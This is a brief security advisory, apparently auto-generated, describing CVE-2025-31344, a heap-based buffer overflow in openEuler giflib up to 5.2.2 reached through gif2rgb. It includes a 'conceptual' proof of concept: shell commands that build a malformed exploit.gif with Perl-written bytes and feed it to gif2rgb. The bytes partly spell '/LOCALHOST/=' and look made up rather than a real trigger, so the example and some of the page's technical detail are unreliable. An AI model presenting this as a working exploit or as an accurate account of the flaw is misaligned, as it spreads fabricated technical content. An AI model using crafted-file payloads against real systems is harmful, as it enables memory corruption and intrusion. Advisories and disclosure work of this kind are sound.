Overview
The openEuler giflib, a key component of many Linux distributions, has been identified with a Heap-based Buffer Overflow vulnerability. The vulnerability, registered as CVE-2025-31344, affects giflib versions up to 5.2.2, potentially putting system security at risk. This vulnerability is critical because it can lead to system compromise or data leakage, thus posing a significant threat to users’ data and system integrity.
Vulnerability Summary
CVE ID: CVE-2025-31344
Severity: High (CVSS: 7.3)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Product | Affected Versions
openEuler giflib | up to 5.2.2
How the Exploit Works
The Heap-based Buffer Overflow vulnerability in giflib occurs when a specially crafted GIF file is processed by gif2rgb.C program file. The overflow arises from improper bounds checking, which allows an attacker to corrupt memory and execute arbitrary code. An attacker exploiting this vulnerability could potentially gain control over the system or leak sensitive data.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited:
$ echo -n "GIF89a" > exploit.gif
$ perl -e 'print "\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x2F\x4C\x4F\x43\x41\x4C\x48\x4F\x53\x54\x2F\x3D\x0A"' >> exploit.gif
$ gif2rgb exploit.gif > /dev/nullThis example creates a malformed GIF file (`exploit.gif`) that triggers the buffer overflow when processed by the gif2rgb program. Please note that this is a conceptual example and does not represent a real-world exploit.
